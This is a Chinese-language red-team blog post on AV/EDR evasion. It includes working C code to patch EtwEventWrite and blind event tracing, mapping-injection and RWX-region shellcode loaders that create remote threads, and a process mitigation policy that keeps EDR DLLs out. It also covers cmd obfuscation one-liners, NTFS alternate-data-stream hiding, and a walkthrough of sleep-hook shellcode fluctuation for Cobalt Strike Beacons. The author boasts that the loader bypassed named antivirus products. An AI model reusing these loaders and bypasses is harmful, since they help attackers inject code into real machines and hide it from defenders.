《ETW绕过、Shellcode游击与NTFS备用数据流杂谈:高级规避技术漫谈》

这一期也是一个杂谈,我想把一些常用的技术,无论是红队实战的,还是免杀的一些技巧都写一下,因为还是不成体系没办法单独写成一个模块。所以写起来比较杂,兄弟们也不要嫌弃,该有的简单介绍和代码也是有的。

后续的计划是准备写二进制和翻译一些国外的文章,还有杂谈一些过去出现的一些有意思的新技术,比如doublue agent,这种2017年就出来的利用Windows 的机制实现被动dll注入的技术。当然现在面对杀软和EDR这些技术可能很难起效,但是技术的研究和内核依然值得我们学习。

大概后面的文章就分为这几类 windows机制(写一些操作系统机制) 二进制研究 国外文章翻译 免杀分享(有时间就写免杀,然后把加载器发出来) 高星项目分析(目前设想是分析土豆家族和impact 套件那些)

至于攻防实战,应急响应,等后面有有趣的项目案例再分享吧。好的废话不多说,我们进入今天的内容。

ETW绕过

简单引入

在红队测试工具 Cobalt Strike 有个功能,叫做 bexecute_assembly,能够从内存中加载.NET程序集。这个功能不需要向硬盘写入文件,十分隐蔽,而且现有的Powershell利用脚本能够很容易的转换为C#代码,十分方便。简单来说就是它会在 Process 中执行 .NET Assemblies。原理是通过系统提供的API( ICLRMetaHostICLRRuntimeInfo、ICLRRuntimeHost) 达到将 CLR 载入的效果。

image-20251007143046649

托管模块:Managed Module,一个标准的MS Window可移植执行体文件(32位PE32或64位PE32+)
IL:Intermediate Language 中间语言,又叫托管代码(由CLR管理它的执行)
元数据:metadata,一系列特殊的数据表
程序集:Assembly,抽象的
JIT:just-in-time 即时编译,将IL编译成本地CPU指令(本地代码)
FCL:Framework Class Library,Framework 类库
CTS:Common Type System,通用类型系统,描述了类型的定义及其行为方式
CLI:Common Language Infrastructure,公共语言基础结构,这是MS提交给ECMA的一个标准,由CTS和其他Framwork组件构成 (CTS、CLS、 CR)
CLS:Common Language Specfication,公共语言规范,详细规定了一个最小特性集

.CLR

全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。

CLR是.NET Framework的主要执行引擎,来管理执行中的 .NET 程序:

· 在CLR监视之下运行的程序属于”托管的”(managed)代码。

· 不在CLR之下、直接在裸机上运行的应用或者组件属于”非托管的”(unmanaged)的代码

简单的说来这个技术是为了提高兼容性的,有点java中的jvm像虚拟机,CLR 引入了 CIL (Common Intermediate Language),也叫 MSIL (Microsoft Intermediate Language)。无论你用 C#、VB.NET 还是 F# 编写代码,最终都会被编译成这种统一的中间语言。CLR 能够理解并执行 CIL,从而实现了语言的互操作性。这意味着不同 .NET 语言编写的组件可以无缝地相互调用。

就是你无论使用 C#还是VB.NET这些写代码,他不会直接编译成机器码,而是编译成一种中间语言,然后交给CLR这个平台进行翻译,等他翻译成机器码再交给cpu进行执行,这也就是我为什么说有点像java中的虚拟机了。

image-20251007143440598

.NET Assemblies 是有办法被侦测到的,在 Process Explorer 中显示的 .NET Assemblies 就放着这个Process 所使用的 .NET Assemblies资源。

image-20251007143851918

还或者是使用这个命令

1
logman query providers {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}

image-20251007144016274

而CRL的一切动静也是会被ETW识别到,我们也很简单的就能绕过,因为核心就是EtwEventWrite这个api,程序启动后就会调用EtwEventWrite这个api向ETW中写入事件,我们只需要hook一下,将第一个写入的数据改成0xc3返回指令,就会终止这个写入了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <Windows.h>
#include <Tlhelp32.h>
int main() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);

// 1. 建立一个 Powershell Process,并取得 Process Handle
CreateProcessA(NULL, (LPSTR)"powershell -noexit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// 2. 从 ntdll.dll 中取得 EtwEventWrite 的地址
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
LPVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");

// 3. 把 EtwEventWrite 的地址的权限改成可读、可写、可执行(rwx)
DWORD oldProtect;
VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);

// 4. 将 EtwEventWrite 的第一个 byte 改成 0xc3,也就是ret返回指令
char patch = 0xc3;
WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);

// 5. 把 EtwEventWrite 的权限改回,并且继续执行 Process
VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL);
ResumeThread(pi.hThread);

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}

映射注入

简单介绍

映射注入是一种内存注入技术,可以避免使用一些经典注入技术使用的API,如VirtualAllocEx,WriteProcessMemory等被杀毒软件严密监控的API,同时创建Mapping对象本质上属于申请一块物理内存,而申请的物理内存又能比较方便的通过系统函数直接映射到进程的虚拟内存里,这也就避免使用经典写入函数,增加了隐蔽性。

基本原理其实就是利用的Windows映射内存的那几个api,我之前测试过免杀性很好,我对编译器基本没有做什么出来,shellcode也只用了sgn加密,写出来加载器,直接过360 火绒和defender 。微步0查杀,vt 6/55 当然肯定还是没过哨兵一号

简单实现

  1. 在注入进程创建mapping
  2. 将mapping映射到注入进程虚拟地址
  3. 往被映射的虚拟地址写入shellcode
  4. 打开被注入进程句柄
  5. 将mapping映射到被注入进程虚拟地址
  6. 创建远程线程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <windows.h>
#include <stdio.h>
#pragma comment (lib, "OneCore.lib")
unsigned char shellcode[] = "";

int main(int argc, char** argv)
{


//创建文件映射内核对象
HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);

//文件映射对象映射到当前应用程序的地址空间
LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(shellcode));

memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, atoi(argv[1]));

//映射到指定进程的地址空间
LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);

HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMapAddressRemote, NULL, 0, NULL);

UnmapViewOfFile(lpMapAddress);
CloseHandle(hMapping);
return 0;
}

image-20251007153007724

image-20251007153414050

这个api比较新,在win10之后才有的。

NTFS备用数据流

这个就比较熟悉了,在web安全里面,有NTFS流绕过文件上传的手法

简单介绍

1993年微软推出了基于流行的NT平台的Windows NT操作系统。之后,NTFS作为WIndows开发基于NT的操作系统时的首选文件系统,逐步取代被应用于旧版Windows操作系统(比如Windows 9x)的文件系统,即FAT(File Access Table)。

  NTFS中的备用数据流(Alternate Data Stream,ADS)允许将一些元数据嵌入文件或是目录,而不需要修改其原始功能或内容。

  在NTFS中,主数据流指的是文件或目录的标准内容,通常对用户可见,而备用数据流(ADS)则隐藏。如果要查看备用数据流,可以使用dir命令的/R选项,或是Windows提供的streams.exe工具,没有可用的API。

简单来说就是在 NTFS 中,文件具有属性。其中一个属性是“数据”属性。数据属性通常包含文件的内容。例如,如果你有一个文本文件,数据属性将包含该文件的内容。通常不为人所知的是,此属性分为两部分。第一部分是所谓的主数据流,它包含文件的内容。第二部分通常称为备用流。像主数据流一样,备用流可以包含数据。

ADS没有大小限制且多个数据流可以和一个正常文件关联。ADS的内容也不仅限于text文本数据,基本上只要是二进制格式文件都可以被作为ADS备用流嵌入。所以我们可以将 base64 编码二进制文件存储在 NTFS 备用流中,然后执行它。还可以修改与备用流关联的文件的创建和修改日期,使其更难以被检测到。

已知的一个正常用途

在windows上,从网上下载的文件,都会有一个备用数据流,名为::Zone.Identifier
该备用数据流会记录下载地址,这个功能也被系统用于判断文件是否从网络下载

假如下载的文件是 hello.txt,则备用数据流名称为:hello.txt:Zone.Identifier
意思就是说,假如我发现hello.txt:Zone.Identifier存在,那同一文件夹下的hello.txt就是从网上下载的

1
2
Get-Item c:\temp -Stream *
Get-Content tempt -Stream evil

具体利用可以看这

Windows之 NTFS 交换数据流 实现隐藏文件 - 知乎

利用系统策略防止dll注入

简单介绍

可以通过 Windows 阻止非 Microsoft 签名的二进制文件注入该进程的方式启动新进程。这对于规避一些通过将 DLL 注入正在运行的进程来执行用户级挂钩的 AV/EDR很有用。

具体实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <iostream>
#include <Windows.h>

int main()
{
PROCESS_INFORMATION pi = {};
STARTUPINFOEXA si = {};
SIZE_T attributeSize = 0;

InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
PPROC_THREAD_ATTRIBUTE_LIST attributes = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, attributeSize);
InitializeProcThreadAttributeList(attributes, 1, 0, &attributeSize);

DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
UpdateProcThreadAttribute(attributes, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(DWORD64), NULL, NULL);
si.lpAttributeList = attributes;

CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, attributes);

return 0;
}

重要的其实就是这两句,大家把这几句加到自己程序里面就可以了

1
2
3
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY sp = {};
sp.MicrosoftSignedOnly = 1;
SetProcessMitigationPolicy(ProcessSignaturePolicy, &sp, sizeof(sp));

其实就是Windows的一个策略,将程序标志设置成ProcessSignaturePolicy这个,就只能运行带有微软签名的dll加载。大概可以和之前的dll空心化打一个配合?

image-20251007160442380

命令行混淆

简单介绍

对于红队来说,会希望蓝队分析的成本提高,让自己的指令或代码比较不容易被理解或是侦测。假设蓝队要辨别现在要执行的指令是不是恶意的,可能会透过指令的一些特征确认,那红队就可以利用混淆的方式绕过那些特征。

红队在成功入侵一台机器后,会尽量使自己做的事情不容易被蓝队发现。所以攻击者可以把指令混淆,让蓝队无法轻易知道攻击者目前做了哪些坏事。如此一来,攻击者的入侵程度可能就会被错估,导致损失持续扩大。

混淆的目标可以是 Cmd 指令、Powershell 指令、Python、Javascript、C#、C/C++ 代码等等

检测方式

静态检测

静态的检测方式一般是指从文件、注册表取得目标,可以直接读取内容做判断。

静态检测的优点:

  • 效率较高
  • 只要有目标就可以检测

缺点:

  • 比较容易绕过

例如文件內容如下,里面加入了一个简单的插入符号混淆,静态检测就是会拿到原样的文件内容。

字符“^”是CMD命令中最常见的转义字符,该字符不影响命令的执行

正常的用途是因为在cmd环境中,有些字符具备特殊功能,如 >、>>表示重定向,| 表示管道,&、&&、|| 表示语句连接,它们都有特定的功能。如果需要把它们作为字符输出的话,就需要对这些特殊字符做转义处理:在每个特殊字符前加上转义字符^

动态检测

相对于静态检测,动态检测可以避免掉部分的混淆,因为有些混淆会在执行前载入内存时被解析。可以使用 ETW 或 Event Log 取得指令。

  • 优点
    • 比较不容易绕过
  • 缺点
    • 效率较低
    • 需要满足特定的需求,例如执行

混淆技巧

环境变量(Environment Variable)

假设我们要执行 whoami 指令,我們可以通过把多个子字串拼接在一起來达成。whoamiWOi 从环境变量 SystemRoot 拿;am 从环境变量 Tmp 拿;h 则直接使用。把所有拼在一起就可以执行 whoami 了。

1
cmd /c "%SystemRoot:~3,1%h%SystemRoot:~7,1%%tmp:~-7,1%%tmp:~-2,1%%SystemRoot:~4,1%"

不过这个方法只能绕过静态检测,使用 Sysmon 观察还是会是原本的指令。

image-20251007160858616

For Loop Value Extraction

这个混淆技巧主要是利用 Windows批处理指令的输出取得目标字符串。与环境变量不同的是它可以使用在任何指令上,而不仅限于 setFor 可以搭配 Delims、Tokens 使用。

1
cmd /k "for /f "Delims=s\ Tokens=4" %a in ('set^|findstr PSM') do %a"

这个技巧可以用来绕过静态与动态检测

image-20251007160927060

双引号(Double Quotes)

双引号在指令中被当作是一个连接用的字符,所以在指令中可以正常的使用它,可以将双引号插入在任何位置。

1
cmd /c p"owe"""rshe""ll

括号(Parentheses)

括弧中的指令会被当作是一组指令,无意义的括弧可以用来混淆指令

1
cmd /c (  (powershell))

逗号与分号

,; 在指令中可以取代空白作为指令参数之间的分割字符,它们可以任意被插入在参数之间需要空白的地方

1
cmd;;,,/c,;netstat

Call

Call 在 Cmd 指令中用来执行另一段指令,虽然它本身不是用来做混淆的,但是却可以让混淆的行为更低调.call 不会产生 字进程;而 cmd /c

For-Loop Encoding

与 For Loop Value Extraction 不同,For-Loop Encoding 不会使用 Tokens、Delims 的方式拼凑出指令,而是直接写 For 循环把需要的字符从环境变量的目标index取出

1
cmd /c "set final= &&set unique=nets /ao&&for %a in (0 1 2 3 2 6 2 4 5 6 0 7 a) do if %a==a (call %final%) else (call set final=%final%%unique:~%a,1%)

自动化工具

invoke-dosfuscation:danielbohannon/Invoke-DOSfuscation: Cmd.exe Command Obfuscation Generator & Detection Test Harness

安装和使用:

Invoke-DOSfuscation 使用与安装指南-CSDN博客

枚举RWX区域写入shellcode

简单介绍

从本地或远程进程注入和执行 shellcode 需要可以写入、读取和执行 shellcode 的内存。

一些 shellcode 注入技术分配PAGE_EXECUTE_READWRITE内存块,用 shellcode 填充它并创建一个指向该 shellcode 的线程。对于应用程序来说,这不是一件很常见的事情,非常容易被AV/EDR 发现

还有一些技术是首先分配PAGE_READWRITE,将shellcode写入分配的内存,用它保护它PAGE_EXECUTE_READ然后执行它,这意味着目标进程中没有任何时间点有RWX内存块。它有点隐秘,可能有助于偷偷溜过 AV/EDR。

但是这两种技术的共同点是它们仍然需要分配保护内存(RW -> RX 或 RWX)。话虽如此,其实我们可以去暴力破解/枚举受感染系统上当前正在运行的目标进程 - 搜索它们分配的内存块并检查是否有任何这些受 RWX 保护,因此我们可以尝试写入/读取/执行它们,用来规避一些内存检测。

具体实现

循环遍历系统上的所有进程

查询各个进程的内存信息

循环遍历每个进程中所有分配的内存块

检查任何受 RWX 保护的内存块 && 是私有的 && 已提交

如果满足上述条件

打印出内存块的地址

将 shellcode 写入该内存块

创建一个远程线程,指向上一步写的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>

int main()
{
MEMORY_BASIC_INFORMATION mbi = {};
LPVOID offset = 0;
HANDLE process = NULL;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
DWORD bytesWritten = 0;
unsigned char shellcode[] = "";

Process32First(snapshot, &processEntry);
while (Process32Next(snapshot, &processEntry))
{
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if (process)
{
std::wcout << processEntry.szExeFile << "\n";
while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))
{

if (mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE)
{
std::cout << "\tRWX: 0x" << std::hex << mbi.BaseAddress << "\n";
WriteProcessMemory(process, mbi.BaseAddress, shellcode, sizeof(shellcode), NULL);
CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE)mbi.BaseAddress, NULL, NULL, NULL);
}
offset = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
}
offset = 0;
}
CloseHandle(process);
}

return 0;
}

这里就不尝试了,因为他会向所有可读可写可执行的区域都写入shellcode,比较多。没开虚拟机不好演示

shellcode游击

简单介绍

通过挂钩sleep不断加密和解密 shellcode 的内容,使shellcode所在内存在 RW 和 RX / PAGE_NOACCESS 和RX 内存属性之间反复横跳,当我们的 shellcode 驻留在RW或 NoAccess内存页面中时,扫描器将无法追踪到它并将其转储进行进一步分析

RW – RX工作原理

  1. 从文件中读取 shellcode 的内容。
  2. Hook kernel32!Sleep 指向我们的回调MySleep
  3. 通过 VirtualAlloc + memcpy + CreateThread 注入和启动 shellcode。
  4. 一旦 Beacon 尝试休眠,我们的 MySleep 回调就会被调用。
  5. Beacon 的内存分配被加密并且内存页面属性被翻转到 RW
  6. 然后脱钩kernel32!Sleep
  7. 在等待进一步通信时,会调用原来的kernel32!Sleep让 Beacon 进入睡眠状态。
  8. sleep睡眠结束后,解密我们的 shellcode 的数据,将它的内存页属性翻转回 RX ,然后重新挂钩 kernel32!Sleep 以确保拦截后续睡眠。

NoAccess – RX工作原理

  1. 从文件中读取 shellcode 的内容。
  2. Hook kernel32!Sleep 指向我们的回调。
  3. 通过 VirtualAlloc + memcpy + CreateThread 注入和启动 shellcode …
  4. 初始化向量异常处理程序 (VEH) 以设置我们自己的处理程序来捕获 访问冲突 异常。
  5. 一旦 Beacon 尝试休眠,我们的 MySleep 回调就会被调用。
  6. Beacon 的内存分配被加密并且内存页面属性被翻转到 PAGE_NOACCESS
  7. 然后脱钩kernel32!Sleep
  8. 在等待进一步通信时,会调用原来的kernel32!Sleep让 Beacon 进入睡眠状态。
  9. Sleep结束后,我们重新hook kernel32!Sleep ,保证后续sleep的拦截。
  10. Shellcode 然后尝试恢复其执行,此时内存页属性是PAGE_NOACCESS,这会触发内存访问异常0xc0000005
  11. 我们的 VEH 处理程序捕获异常,解密并将内存页属性翻转回 RX 并在处理函数里面return EXCEPTION_CONTINUE_EXECUTION恢复 shellcode执行。

工具:https://github.com/mgeeky/ShellcodeFluctuation

现在不行了,那些安全厂商已经盯上了sleep这个函数。

LOLbins

恶意软件研究人员 Christopher Campbell 和 Matt Greaber 创造了(LOL)一词。LOLBins 是 Living Off the Land Binaries 的缩写,用于解释使用受信任的预安装系统工具来传播恶意软件。有几种不同类型的 LOL 技术,包括 LOLBins,它使用Windows 二进制文件来隐藏恶意活动;LOLLibs,使用库;和使用脚本的 LOLScripts。

顾名思义,LOL就是将合法的系统实用程序和工具用于恶意的目的,LOL 的一些功能包括:DLL 劫持、隐藏负载、进程转储、下载文件、绕过 UAC 键盘记录、代码编译、日志规避、代码执行和持久性

要被视为 LOL,相关的二进制文件、库或脚本必须默认在系统上,或者由用户放在系统上。它还需要具有意想不到的功能,并且能够被重新利用,并且必须对攻击者有用。并且在运行时不会被标准 AV 工具检测到。

LoLBins往往与无文件落地和合法云服务结合使用,以提高在组织内不被发现的机会,通常是在后渗透阶段。

一些相关网站

https://lolbas-project.github.io/

https://www.freebuf.com/articles/system/263960.html

https://www.freebuf.com/articles/system/232074.html

第八十六课:基于白名单Msiexec执行payload第八季补充 · Micro8 系列教程


《ETW绕过、Shellcode游击与NTFS备用数据流杂谈:高级规避技术漫谈》
http://example.com/2025/10/07/《ETW绕过、Shellcode游击与NTFS备用数据流杂谈:高级规避技术漫谈》/
Author
John Doe
Posted on
October 7, 2025
Licensed under